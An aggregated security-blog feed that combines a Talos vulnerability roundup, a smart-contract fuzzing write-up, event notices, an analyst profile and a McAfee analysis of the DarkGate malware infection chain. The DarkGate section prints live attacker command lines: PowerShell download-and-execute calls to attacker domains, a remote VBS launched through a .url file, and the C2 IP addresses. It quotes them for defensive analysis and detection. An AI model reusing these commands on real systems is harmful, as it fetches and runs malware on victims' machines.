It’s interesting that most of the techniques I’ve shown in this article are not easily accessible with managed languages. Does this mean that all of this doesn’t really matter, or do compilers written in those languages (I’m thinking of, e.g., Roslyn) leave performance on the table? If so, what’s the significance of that performance?

Finally, I wanted this post to start a discussion about the internals of compilers and compiler-like tools: what do these often highly complex pieces of software hide beneath their surface? It’s easy to find material about the general ideas regarding compilation—tokenization, parsing, register allocation—but less so about the clever ideas people come up with when writing programs that need to deal with huge codebases in a fast and memory-efficient manner. If anyone has war stories to share, I want to hear them!

Vulnerabilities in employee management system could lead to remote code execution, login credential theft

1 May 2024 at 16:00
Vulnerabilities in employee management system could lead to remote code execution, login credential theft

Cisco Talos’ Vulnerability Research team has disclosed more than a dozen vulnerabilities over the past three weeks, five in a device that allows employees to check in and out of their shifts, and another that exists in an open-source library used in medical device imaging files. 

The Peplink Smart Reader contains several vulnerabilities, including one issue that could allow an adversary to obtain the administrator’s login credentials and the MD5-hashed version of their password. 

Talos also recently helped to responsibly disclose and patch other vulnerabilities in the Foxit PDF Reader and two open-source libraries that support the processing and handling of DICOM files. 

For Snort coverage that can detect the exploitation of these vulnerabilities, download the latest rule sets from Snort.org, and our latest Vulnerability Advisories are always posted on Talos Intelligence’s website.  

Code execution, information disclosure vulnerabilities in Peplink Smart Reader 

Discovered by Matt Wiseman. 

The Peplink Smart Reader is an internet-connected device associated with the PepXIM Time-Logging and Security System. Companies’ employees use this device to check in and out of their shifts, allowing administrators to keep track of time cards and pay. It also can control access to certain buildings, and even public transportation. 

There are two information disclosure vulnerabilities, TALOS-2023-1863 (CVE-2023-43491) and TALOS-2023-1865 (CVE-2023-45209), that are triggered if an adversary sends a specially crafted HTTP message to the targeted device.  

If successful, the attacker could eventually view the active administrator’s username and MD5-hased password. And in the case of TALOS-2023-1865, it goes a step further, potentially allowing the adversary to view wireless network credentials, network configuration details and SNMP configuration details. 

With those credentials (or admin credentials obtained by other means), an adversary could exploit TALOS-2023-1868 (CVE-2023-40146), a privilege escalation vulnerability in the Smart Reader. An adversary could execute a specially crafted command line argument to cause a limited-shell escape and execute unblocked, default busybox functionality to eventually gain access to an uninhibited root shell. 

TALOS-2023-1866 (CVE-2023-45744) is also triggered by a specially crafted HTTP request, but in this case, could allow an adversary to manipulate certain configuration settings on the device. 

The most serious of the issues Talos discovered in the Smart Reader is TALOS-2023-1867 (CVE-2023-39367), a command injection vulnerability that could allow an attacker to execute arbitrary commands. This vulnerability has a 9.1 CVSS score out of 10. An authenticated attacker can leverage this vulnerability to execute arbitrary commands on the device with root privileges and elevate their access to the vulnerable system. 

Silicon Labs Gecko Platform invalid pointer dereference vulnerability 

Discovered by Kelly Patterson. 

An invalid pointer dereference vulnerability exists in the HTTP server header parsing functionality of the Silicon Labs Gecko Platform.  

The Gecko Platform SDK is the collection of Silicon Labs’ wireless software development kits and Gecko Platform into an integrated package. It allows users to develop applications inside Silicon Labs’ internet-of-things software ecosystem. 

TALOS-2024-1945 (CVE-2023-51391) is triggered if an adversary sends the target a specially crafted network packet, which could lead to a denial-of-service condition. 

Incorrect type conversion vulnerability in open-source library for DICOM files 

Discovered by Emmanuel Tacheau. 

There is an incorrect type conversion vulnerability in OFFIS DCMTK, an open-source library often used to manage, store and convert DICOM files. DICOM is the commonly used file type to transfer, send and store medical imaging files, such as X-rays and ultrasounds.  

Hospitals and companies use DCMTK for various purposes, ranging from product testing to being a building block for research projects, prototypes and commercial products. 

TALOS-2024-1957 (CVE-2024-28130) could allow an adversary to execute arbitrary code on the targeted machine if they trick the user into opening a specially crafted file.  

Out-of-bounds write vulnerabilities in Grassroots DICOM library 

Discovered by Emmanuel Tacheau. 

Another open-source library for handling DICOM files, Grassroots DiCoM, contains three out-of-bounds writer vulnerabilities.  

TALOS-2024-1944 (CVE-2024-25569) and TALOS-2024-1935 (CVE-2024-22373) can be triggered if an adversary tricks the target into opening a specially crafted, malicious DICOM file, eventually allowing them to read out-of-bounds memory. 

TALOS-2024-1924 (CVE-2024-22391) works in the same way, but in this case, causes a heap-based buffer overflow, leading to memory corruption.  

Three vulnerabilities in Foxit PDF Reader could lead to arbitrary code execution 

Discovered by KPC. 

Three vulnerabilities exist in Foxit PDF Reader that could allow an adversary to execute arbitrary code on the targeted machine. 

Foxit PDF Reader is one of the most popular pieces of PDF-reading software currently available and aims to have feature parity with Adobe Acrobat Reader. It also includes a browser plugin to allow users to open files in their web browsers.  

TALOS-2024-1959 (CVE-2024-25648) and TALOS-2024-1958 (CVE-2024-25938) are use-after-free vulnerabilities that can be triggered if an attacker tricks a user into opening a malicious, specially crafted PDF. This could also work if the user has the browser plugin enabled and the adversary tricks them into opening an attacker-controlled webpage. These vulnerabilities could lead to a use-after-free issue, potentially leading to memory corruption and arbitrary code execution. 

There is also a type confusion vulnerability, TALOS-2024-1963 (CVE-2024-25575), that could also lead to memory corruption and arbitrary code execution. 

LABScon23 Replay | From Vulkan to Ryazan – Investigative Reporting from the Frontlines of Infosec

By: LABScon
30 April 2024 at 16:12

During the last couple of years, Hakan Tanriverdi (@hatr) has reported on several large-scale digital espionage and sabotage campaigns, from hacking groups that were later called out by the Department of Justice to companies targeting critical infrastructure in Germany and across Western Europe. In both cases, mistakes in how the attackers set up their infrastructure enabled Hakan’s team to follow their tracks, in some cases right back to their employers. The resulting stories revealed the intersection where covert cyber operations and overt organizational structures meet.

This talk lays out the types of information investigative reporters work with, how they follow and fact-check opaque leads, and how they turn them into portraits of previously unknown actors pulling the strings in cyberspace.

Covering investigations into Turla, Magna Bear and REvil, this talks offers a fascinating insight into how researchers peel back the layers threat actors use to mask their activities.

About the Presenter

Hakan Tanriverdi works as a reporter for Paper Trail Media covering cybersecurity. He mainly focuses on hacking groups and trying to find out who they are working for, on a name- and employer-basis. His investigations tend to be on the more technical side and are assisted by scripts, scrapers and querying databases.

About LABScon 2023

This presentation was featured live at LABScon 2023, an immersive 3-day conference bringing together the world’s top cybersecurity minds, hosted by SentinelOne’s research arm, SentinelLabs.

Keep up with all the latest on LABScon 2024 here.

Curvance: Invariants unleashed

30 April 2024 at 13:30

By Nat Chin

Welcome to our deep dive into the world of invariant development with Curvance.

We’ve been building invariants as part of regular code review assessments for more than 6 years now, but our work with Curvance marks our very first official invariant development project, in which developing and testing invariants is all we did.

Over the nine-week engagement, we wrote and tested 216 invariants, which helped us uncover 13 critical findings. We also found opportunities to significantly enhance our tools, including advanced trace printing and corpus preservation. This project was a journey of navigating learning curves and accomplishing technological feats, and this post will highlight our collaborative efforts and the essential role of teamwork in helping us meet the challenge. And yes, we’ll also touch on the brain-cell-testing moments we experienced throughout this project!

A collective “losing it” moment, capturing the challenges of this project

Creating a quality fuzzing suite

The success of a fuzzing suite is grounded in the quality of its invariants. Throughout this project, we focused on fine-tuning each invariant for accuracy and relevance. Fuzzing, in essence, is like having smart monkeys on keyboards testing invariants, whose effectiveness relies heavily on their precision. Our journey with Curvance over nine weeks involved turning in-depth discussions on codebase properties into precise English explanations and then coding them into executable tests, as shown in the screenshots below.

Examples of what our daily discussions looked like to clarify invariants

From the get-go, Chris from Curvance was often available to help clarify the code’s expected behavior and explain Curvance’s design choices. His insights always clarified complex functions and behavior, and he always helped with hands-on debugging and checking our invariants. This engagement was as productive as it was thanks to Chris’s consistent feedback and working alongside us the entire time. Thank you, Curvance!

The tools (and support teams) behind our success

Along with Curvance’s involvement, support from our internal teams behind Echidna, Medusa, and CloudExec helped our project succeed. Their swift responses to issues, especially during extensive rebases and complex debugging, were crucial. The Curvance engagement pushed these tools to their limits, and the solutions we had to come up with for the challenges we faced led to significant enhancements in these tools.

CloudExec proved invaluable for deploying long fuzzing jobs onto DigitalOcean. We integrated it with Echidna and Medusa for prolonged runs, enabling Curvance to easily set up its own future fuzzing runs. We pinpointed areas of improvement for CloudExec, such as its preservation of output data, which you can see on its GitHub issue tracker. We’ve already addressed many of these issues.

Echidna, our property-based fuzzer for Ethereum contracts, was pivotal in falsifying assertions. We first used Echidna in exploration mode to broadly cover the Curvance codebase, and then we moved into assertion mode, using anywhere from 10 million to 100 billion iterations. This intense use of Echidna throughout our nine-week engagement helped us uncover vital areas of improvement for the tool, making it easier for it to debug and retain the state of explored code areas.

Medusa, our geth-based experimental fuzzer, complemented Echidna in its coverage efforts for falsifying invariants on Curvance. Before we could use Medusa for this engagement, we needed to fix a known out-of-memory bug. The fix for this bug—along with fixes implemented in CloudExec to help it better preserve output data—critically improved the tool and helped maximize our coverage of the Curvance code. Immediately after it started running, it found a medium-severity bug in the code that Echidna had missed. (Echidna eventually found this bug after we changed the block time delay, likely due to the fuzzer’s non-determinism.)

Our first Medusa run of 48+ hours resulted in a medium-severity bug.

The long and winding road

While we had the best support from the teams behind our tools and from our client that we could have asked for, we still faced considerable challenges throughout this project—from the need to keep pace with Curvance’s continued development, to the challenges of debugging assertion failures. But by meeting these challenges, we learned important lessons about the nature of invariant development, and we were able to implement crucial upgrades to our tools to improve our process overall.

Racing to keep up with Curvance’s code changes

Changes to the Curvance codebase—like function removals, additions of function parameters, adjustments to arguments and error messages, and renaming of source contracts—often challenged our fuzzing suite by invalidating existing invariants or causing a series of assertion failures. Ultimately, these changes rendered our existing corpus items obsolete and unusable, and we had to rebase our fuzzing suite and revise both existing and new invariants constantly to ensure their continued relevance to the evolving system. This iterative process paralleled the client’s code development, presenting a mix of true positives (actual bugs in the client’s code) and false positives (failures due to incorrect or outdated invariants). Such outcomes emphasized that fuzzing isn’t a static, one-time setup; it demands ongoing maintenance and updates, akin to development of any active codebase.

Understanding the rationale behind each invariant change post-rebase is crucial. Hasty adjustments without fully grasping their implications could inadvertently mask bugs, undermining the effectiveness of the fuzzing suite. Keeping the suite alive and relevant is as vital as the development of the codebase itself. It’s not just about letting the fuzzer run; it’s about maintaining its alignment with the system it tests. Remember, the true power of a fuzzing suite lies in the accuracy of its invariants.

Critical tool upgrades and lessons learned

We had to make a significant rebase after the Lendtroller contract’s name was changed to MarketManager in commit a96dc9a. This change drastically impacted our work, as Echidna had just finished 43 days of running in the cloud using CloudExec. This nonstop execution had allowed Echidna to develop a detailed corpus capable of autonomously tackling complex liquidations. Unfortunately, the change rendered this corpus obsolete, and each corpus item caused Echidna worker threads to crash upon transaction replay. With our setup of 15 workers, it took only 14 more transactions that could not be replayed for all the Echidna workers to crash, halting Echidna entirely:

An Echidna crash resulting from not being able to replay corpus item

Our rebase due to Curvance’s code change led to a significant problem: our fuzzers could no longer access MarketManager functions needed to explore complex state, like posting collateral and borrowing debt. This issue prompted us to make crucial updates to Echidna, specifically to enhance its ability to validate and replay corpus sequences without crashing. We also made updates to Medusa to improve its tracking of corpus health and ability to fix start-up panics. Extended discussions about maintaining a dynamic corpus ensued, with our engineering director stepping in to manually adjust the corpus, offering some relief.

We shifted our strategy to adjust to the new codebase’s lack of coverage. We developed liquidation-specific invariants for the codebase version before the contract name change, while running the updated version in different modes to boost coverage. CloudExec’s new features, like named jobs, improved checkpointing of output directories, and checkpointing for failed jobs, were key in differentiating and managing these runs. Despite all these improvements, we let the old corpus go and chose to integrate setup functions into key contracts to speed up coverage. While effective in increasing coverage, this strategy introduced biases, especially in liquidation scenarios, by relying on static values. This limitation, marked in the codebase with /// @coverage:limitation tags, underscores the importance of broadening input ranges in our stateful tests to ensure comprehensive system exploration.

Trials and tribulations: Debugging

The Curvance invariant development report mainly highlights the results of our debugging without delving into the complex journey of investigation and root cause analysis behind these findings. This part of the process, involving detailed analysis once assertion failures were identified, required significant effort.

Our primary challenge was dissecting long call sequences, often ranging from 9 to 70 transactions, which required deep scrutiny to identify where errors and unexpected values crept in. Some sequences spanned up to 29 million blocks or included time delays exceeding 6 years, adding layers of complexity to our understanding of the system’s behavior. To tackle this, we had to manually insert logs for detailed state information, turning debugging into an exhaustive and manual endeavor:

Echidna’s debugging at the beginning of the engagement

Our ability to manually shrink transaction sequences hinged on our deep understanding of Curvance’s system. This detailed knowledge was critical for us to effectively identify which transactions were essential for uncovering vulnerabilities and which could be discarded. As we gained this deeper insight into the system throughout the project, our ability to streamline transaction sequences improved markedly.

Based on our work with combing through transaction sequences, we implemented a rich reproducer trace feature in Echidna, providing us with detailed traces of the system during execution and elaborate printouts of the system state at each step of the transaction failure sequence. Meanwhile, we also added shrinking limits of transaction sequences to Medusa to fix intermittent assertion failures, and we updated Medusa’s coverage report to increase its readability. The stark difference in Echidna’s trace printing after these updates can easily be seen in the figure below:

Echidna’s call sequences with rich traces at the end of the engagement

Finally, we created corresponding unit tests based on most assertion failures during our engagement. Initially, converting failures to unit tests was manual and time-consuming, but by the end, we streamlined the process to take just half an hour. We used the insights we gained from this experience to develop fuzz-utils, an automated tool for converting assertion failures into unit tests. Although it’s yet to be extensively tested, its potential for future engagements excites us!

One lock too many: The story behind TOB-CURV-4

After a significant change to the Curvance codebase, we encountered a puzzling assertion failure. Initially, we suspected it might be a false positive, a common occurrence with major code changes. However, after checking the changes in the Curvance source code, the root cause wasn’t immediately apparent, leading us into a complex and thorough debugging process.

We analyzed the full reproducer traces in Echidna (an Echidna feature that was added during this engagement, as mentioned in the previous section), and we tested assumptions on different senders. We crafted and executed a series of unit tests, each iteration shedding more light on the underlying mechanics. It was time to zoom out to identify the commonalities in the functions involved in the new assertion failures, leading us to focus on the processExpiredLock function. By closely scrutinizing this function, we discovered an important assertion was missing: ensuring the number of user locks stays the same after a call to the function with the “relock” option.

When we reran the fuzzer, it immediately revealed the error: such a call would process the expired lock but incorrectly grant the user a new lock without removing the old one, leading to an unexpected increase in the total number of locks. This caused all forms of issues in the combineAllLocks function: the contracts always thought the user had one more lock than they actually had. Eureka!

This trace shows the increase in the number of user locks after the expired lock is processed:

The trace for the increase in user locks, provided in the full invariant development report in finding TOB-CURV-4

What made this finding particularly striking was its ability to elude detection through the various security reviews and tests. The unit tests, as it turned out, were checking an incorrect postcondition, concealing the bug in its checks, masking its error within the testing suite. The stateless fuzzing tests on this codebase (built by Curvance before this engagement) actually started to fail after this bug was fixed. This highlighted the necessity of not only complex and meticulous testing that validates every aspect of the codebase, but also of continually questioning and validating every aspect of the target code—and its tests.

What’s next?

Reflecting on our journey with Curvance, we recognize the importance of a comprehensive security toolkit for smart contracts, including unit, integration, and fuzz tests, to uncover system complexities and potential issues. Our collaboration over the past nine weeks has allowed us to meticulously examine and understand the system, enhancing our findings’ accuracy and deepening our mutual knowledge. Working closely with Curvance has proven crucial in revealing the technology’s intricacies, leading to the development of a stateful fuzzing suite that will evolve and expand with the code, ensuring continued security and insights.

Take a look at our findings in the public Curvance report! Or dive into the Curvance fuzzing suite, now open through the Cantina Competition! Simply download and unzip corpus.zip into the curvance/ directory, then run make el for Echidna or make ml for Medusa. We’ve designed it for ease of use and expansion. Encounter any issues? Let us know! For detailed instructions and suite extension tips, check the Curvance-CantinaCompetition README and keep an eye out for the /// @custom:limitation tags in the suite.

And if you’re developing a project and want to explore stateful fuzzing, we’d love to chat with you!

Cisco Talos at RSAC 2024

30 April 2024 at 12:00
Cisco Talos at RSAC 2024

With RSAC just a week away, Cisco Talos is gearing up for another year of heading to San Francisco to share in some of the latest major cybersecurity announcements, research and news.  

We’ve pulled together the highlights, so you don’t miss out on all things Talos.  

Tuesday, May 7  

Joe Marshall will be presenting on Project Power Up alongside Tara Vasyliv of NPC UKRENERGO on how Talos has helped to protect Ukraine’s power grid from disruptive electronic warfare. Reserve your seat for the 8:30 a.m. session here

Nick Biasini will be giving a lighting talk at the Cisco Booth N-5845 in the North Hall at 3:30 p.m. on the good, the bad and the ugly of ransomware in 2024.  

Wednesday, May 8  

Nicole Hoffman will be signing her children’s book, “The Mighty Threat Intelligence Warrior,” at 12:30 p.m. in the RSA Bookstore located in Moscone South, Esplanade Level.  

Thursday, May 9  

Hoffman will be out again, this time hosting a session on applying past lessons learned in hopes of a better future for identify threat detection at 9:40 a.m. in Moscone West 3022. Reserve a seat for the session here.  

And you can always follow along all week on X and LinkedIn for the latest updates.  

The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen

29 April 2024 at 18:09

Authored by Yashvi Shah, Lakshya Mathur and Preksha Saxena

McAfee Labs has recently uncovered a novel infection chain associated with DarkGate malware. This chain commences with an HTML-based entry point and progresses to exploit the AutoHotkey utility in its subsequent stages. DarkGate, a Remote Access Trojan (RAT) developed using Borland Delphi, has been marketed as a Malware-as-a-Service (MaaS) offering on a Russian-language cybercrime forum since at least 2018. This malicious software boasts an array of functionalities, such as process injection, file download and execution, data theft, shell command execution, keylogging capabilities, among others. Following is the spread of DarkGate observed in our telemetry for last three months:

Figure 1: Geo-Distribution of DarkGate

DarkGate’s attempt to bypass Defender Smartscreen

Additionally, DarkGate incorporates numerous evasion tactics to circumvent detection. DarkGate notably circumvented Microsoft Defender SmartScreen, prompting Microsoft to subsequently release a patch to address this vulnerability.

In the previous year, CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) was identified and subsequently patched https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 . CVE-2023-36025 is a vulnerability impacting Microsoft Windows Defender SmartScreen. This flaw arises from the absence of proper checks and corresponding prompts related to Internet Shortcut (.url) files. Cyber adversaries exploit this vulnerability by creating malicious .url files capable of downloading and executing harmful scripts, effectively evading the warning and inspection mechanisms of Windows Defender SmartScreen. This year, same way, CVE-2024-21412 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412 ) was identified and patched. This vulnerability is about “Internet Shortcut Files Security Feature Bypass Vulnerability”.

Infection Chain

McAfee Labs has identified two distinct initial vectors carrying identical DarkGate shellcode and payload. The first vector originates from an HTML file, while the second begins with an XLS file. We will delve into each chain individually to unveil their respective mechanisms. Below is the detailed infection chain for the same:

Figure 2: Infection Chain

Infection from HTML:

The infection chain initiates with a phishing HTML page masquerading as a Word document. Users are prompted to open the document in “Cloud View” (shown in the figure below), creating a deceptive lure for unwitting individuals to interact with malicious content.

Figure 3: HTML page

Upon clicking “Cloud View,” users are prompted to grant permission to open Windows Explorer, facilitating the subsequent redirection process.

Figure 4: Prompt confirming redirection to Windows Explorer

Upon granting permission and opening Windows Explorer, users encounter a file depicted within the Windows Explorer interface. The window title prominently displays “\\onedrive.live.com,” adding a veneer of legitimacy to the purported “Cloud View” experience.

Figure 5: Share Internet Shortcut via SMB

In our investigation, we sought to trace the origin of the described phishing scheme back to its parent HTML file. Upon inspection, it appears that the highlighted content in the image may be a string encoded in reverse Base64 format. This suspicion arises from the presence of a JavaScript function (shown in the figure below) designed to reverse strings, which suggests an attempt to decode or manipulate encoded data.

Figure 6: Javascript in HTML code

On reversing and base64 decoding the yellow highlighted content in Figure 6, we found:

Figure 7: WebDAV share

The URL utilizes the “search-ms” application protocol to execute a search operation for a file named “Report-26-2024.url”. The “crumb” parameter is employed to confine the search within the context of the malicious WebDAV share, restricting its scope. Additionally, the “DisplayName” element is manipulated to mislead users into believing that the accessed resource is associated with the legitimate “onedrive.live.com” folder, thereby facilitating deception.

Hence, the presence of “onedrive.live.com” in the Windows Explorer window title is a direct consequence of the deceptive manipulation within the URL structure.

The file is an Internet Shortcut (.url) file, containing the following content:

Figure 8: content of .URL file

The .url files serve as straightforward INI configuration files, typically consisting of a “URL=” parameter indicating a specific URL. In our scenario, the URL parameter is defined as follows: URL=file://170.130.55.130/share/a/Report-26-2024.zip/Report-26-2024.vbs.

Upon execution of the .url file, it will initiate the execution of the VBScript file specified in the URL parameter. This process allows for the automatic execution of the VBScript file, potentially enabling the execution of malicious commands or actions on the system.

The vulnerability CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) pertains to Microsoft Windows Defender SmartScreen failing to issue a security prompt prior to executing a .url file from an untrusted source. Attackers exploit this by constructing a Windows shortcut (.url) file that sidesteps the SmartScreen protection prompt. This evasion is achieved by incorporating a script file as a component of the malicious payload delivery mechanism. Although Microsoft has released a patch https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 to address this vulnerability, it remains exploitable in unpatched versions of Windows.

If your system is not patched and updated, you will not see any prompt. However, if your system is updated, you will encounter a prompt like:

Figure 9: SmartScreen prompt

On allowing execution, the vbs file is dropped at C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29. This file will run automatically on execution of url file and we get the following process tree:

Figure 10: Process tree

Following are the command lines:

  • “C:\Windows\System32\WScript.exe” “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”
    • “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘withupdate.com/zuyagaoq’)
      • \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      • “C:\rjtu\AutoHotkey.exe” C:/rjtu/script.ahk
      • “C:\Windows\system32\attrib.exe” +h C:/rjtu/

The sequence of commands begins with the execution of the VBScript file located at “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”. This VBScript subsequently utilizes PowerShell to execute a script obtained from the specified URL (‘withupdate.com/zuyagaoq’) via the Invoke-RestMethod cmdlet. Upon executing the downloaded script, it proceeds to command and execute the AutoHotkey utility, employing a script located at the designated path (C:/rjtu/script.ahk). Subsequently, the final command utilizes the attrib tool to set the hidden attribute (+h) for the specified directory (C:/rjtu/).

Inspecting the URL “withupdate.com/zuyagaoq” explicitly allows for a detailed understanding of the infection flow:

Figure 11: Remote Script on the C2

This URL leads to a script:


Figure 12: Remote Script content
Reformatting, we get:

Figure 13: Remote script content

Explanation of the script:

  • ni ‘C:/rjtu/’ -Type Directory -Force: This command creates a new directory named “rjtu” in the root of the C drive if it doesn’t already exist.
  • cd ‘C:/rjtu/’: This changes the current directory to the newly created “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/oudowibspr” -OutFile ‘C:/rjtu/temp_AutoHotkey.exe’: This command downloads a file from the specified URL and saves it as “temp_AutoHotkey.exe” in the “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/rwlwiwbv” -OutFile ‘C:/rjtu/script.ahk’: This downloads a file named “script.ahk” from another specified URL and saves it in the “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/bisglrkb” -OutFile ‘C:/rjtu/test.txt’: This downloads a file named “test.txt” from yet another specified URL and saves it in the “rjtu” directory.
  • start ‘C:/rjtu/AutoHotkey.exe’ -a ‘C:/rjtu/script.ahk’: This command starts the executable “AutoHotkey.exe” located in the “rjtu” directory and passes “script.ahk” file as an argument.
  • attrib +h ‘C:/rjtu/’: This sets the hidden attribute for the “rjtu” directory.

Checking “C:/rjtu”:

Figure 14: Dropped folder

AutoHotkey is a scripting language that allows users to automate tasks on a Windows computer. It can simulate keystrokes, mouse movements, and manipulate windows and controls. By writing scripts, users can create custom shortcuts, automate repetitive tasks, and enhance productivity.

To execute an AutoHotkey script, it is passed as a parameter to the AutoHotkey executable (autohotkey.exe).

Following is the ahk script file content:

Figure 15: Content of .ahk script

There are a lot of comments added in the script, simplifying the script, we get:

Figure 16: .ahk script after removing junk

This script reads the content of “test.txt” into memory, allocates a memory region in the process’s address space, writes the content of “test.txt” as hexadecimal bytes into that memory region, and finally, it executes the content of that memory region as a function. This script seems to be executing instructions stored in “test.txt”.

Now, it’s confirmed that the shellcode resides within the contents of “test.txt”. This is how the text.txt appears:

Figure 17: Content of test.txt

We analyzed the memory in use for Autohotkey.exe.


Figure 18: Memory of running instance of AutoHotKey.exe
We dumped the memory associated with it and found that it was the same as the content in test.txt.

Figure 19: Memory dump of running AutoHotKey.exe same as test.txt

This is the shellcode present here.  The first 6 bytes are assembly instructions:

Figure 20: Shellcode A in the beginning

Following the jump instructions of 3bf bytes, we reach the same set of instructions again:

Figure 21: Same Shellcode A after jump

This means another jump with be taken for another 3bf bytes:

Figure 22: Same Shellcode A one more time

We have encountered same set of instructions again, taking another jump we reach to:

Figure 23: New Shellcode B found next.

These bytes are again another shellcode and the region highlighted in yellow(in the figure below) is a PE file. The Instruction pointer is not at the PE currently. This shellcode needs to be decoded first.

Figure 24: Shellcode B followed by PE file highlighted

This shellcode suggests adding 71000 to the current offset and instruction pointer will be at the new location. The current offset is B3D, adding 71000 makes it 71B3D. Checking 71B3D, we get:

Figure 25: After debugging found next Shellcode C

This is again now one more set of instructions in shellcode. This is approximately 4KB in size and is appended at the end of the file.

Figure 26: Shellcode C directing to entry point of the PE file

Upon debugging this code, we figured out that in marked “call eax” instruction, eax has the address of the entry point of the final DarkGate payload. Hence this instruction finally moves the Instruction Pointer to the entry point of the PE file. This goes to the same region marked in yellow in Figure 24.

This is the final DarkGate payload which is a Delphi-compiled executable file:

Figure 27: Darkgate payload.

Upon this, we see all the network activity happening to C2 site:

Figure 28: Network Communication

Figure 29: C2 IP address

The exfiltration is done to the IP address 5.252.177.207.

Persistence:

For maintaining persistence, a .lnk file is dropped in startup folder:

Figure 30: Persistence

Content of lnk file:

Figure 31: Content of .lnk used for persistence

The shortcut file (lnk) drops a folder named “hakeede” in the “C:\ProgramData” directory.

Figure 32: Folder dropped in “C:\ProgramData”

Inside this folder, all the same files are present:

Figure 33: Same set of files present in dropped folder

Again, the ahk file is executed with the help of Autohotkey.exe and shellcode present in test.txt is executed. These files have the same SHA256 value, differing only in their assigned names.

Infection from XLS:

The malicious excel file asks the user to click on “Open” to view the content properly.

Figure 34: XLS sample

Upon clicking on “Open” button, user gets the following prompt warning the user before opening the file.

Figure 35: XLS files trying to download and run VBS file

For our analysis, we allowed the activity by clicking on “OK”. Following this we got the process tree as:

Figure 36: Process tree from Excel file

The command lines are:

  • “C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE” “C:\Users\admin\Documents\Cluster\10-apr-xls\1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4.xlsx”
    • “C:\Windows\System32\WScript.exe” “\\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs”
      • “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘103.124.106.237/wctaehcw’)
        • \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        • “C:\kady\AutoHotkey.exe” C:/kady/script.ahk
        • “C:\Windows\system32\attrib.exe” +h C:/kady/

The file it gets from “103.124.106[.]237/wctaehcw” has the following content:

Figure 37: Remote script simliar to previous chain

From this point onward, the infection process mirrors the previously discussed chain. All three files, including AutoHotKey.exe, a script file, and a text file, are downloaded, with identical artifacts observed throughout the process.

Mitigation:

  • Verify Sender Information
  • Think Before Clicking Links and Warnings
  • Check for Spelling and Grammar Errors
  • Be Cautious with Email Content
  • Verify Unusual Requests
  • Use Email Spam Filters
  • Check for Secure HTTP Connections
  • Delete Suspicious Emails
  • Keep Windows and Security Software Up to date

Indicators of Compromise (IoCs):

File Hash
Html file 196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005
URL file 2b296ffc6d173594bae63d37e2831ba21a59ce385b87503710dc9ca439ed7833
VBS 038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907
autohotkey.exe 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
AHK script dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455
test.txt 4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795
DarkGate exe 6ed1b68de55791a6534ea96e721ff6a5662f2aefff471929d23638f854a80031
IP 5.252.177.207
XLS file 1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4
VBS 2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f
LNK file 10e362e18c355b9f8db9a0dbbc75cf04649606ef96743c759f03508b514ad34e
IP 103.124.106.237

Table 1: IOC table

The post The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen appeared first on McAfee Blog.

James Nutland studies what makes threat actors tick, growing our understanding of the current APT landscape

29 April 2024 at 12:00
James Nutland studies what makes threat actors tick, growing our understanding of the current APT landscape

If state-sponsored actors are after one thing, it’s to spread fear and uncertainty across the internet. 

There’s always money to be made targeting individual businesses and organizations, but for James Nutland’s work, it’s always about the bigger picture. And his background in studying counterterrorism and interpersonal social dynamics provides him a unique perspective on APTs’ goals and methods. 

Nutland, an analyst with Cisco Talos’ Threat Intelligence and Interdiction team, didn’t begin his journey into cybersecurity through the traditional pathways. Instead, he went to college to obtain his bachelor’s degree in social psychology, particularly interested in social engineering, eventually obtaining his master’s in counterterrorism from the University of East London. 

That may sound like a degree someone gets to serve on a physical battlefield, but as Nutland puts it, security research and counterterrorism carry some of the same throughlines. 

“It’s providing you a set of skills you can then use in multiple modalities,” he said. “It’s the analysis, the eagerness to delve into the unknown, to assess swathes of noisy information, picking out the pieces to establish different threads to try and establish patterns and hopefully attribution — it’s that kind of analytical investigative thinking that really helps for threat hunting.” 

James Nutland studies what makes threat actors tick, growing our understanding of the current APT landscape
Nutland (right) speaking at MITRE ATT&CK Con last year.

Nutland’s technical experience comes from his undergraduate days when he started working in tech support for his college. Eventually, he got into system administration work after he moved to the U.S. during the peak of the COVID-19 pandemic.  

After various roles protecting both business and academic environments, Nutland decided to apply to Talos essentially on a whim after seeing a job listing whilst researching IOCs on the Talos intelligence center. In his current role, he conducts regular threat hunting and analysis campaigns to learn more about broader trends in the security landscape and state-sponsored threat actors. His work recently led to the disclosure of a campaign targeting Mexico users with tax-themed lure documents called “TimbreStealer,” and he participates in Cisco Talos Incident Response’s Intel-on-Demand service.  

Nutland says he goes into every engagement or new project with a completely open mind and a blank slate — using his background investigating terror operations to find out as much as he can about a particular adversary’s operation.  

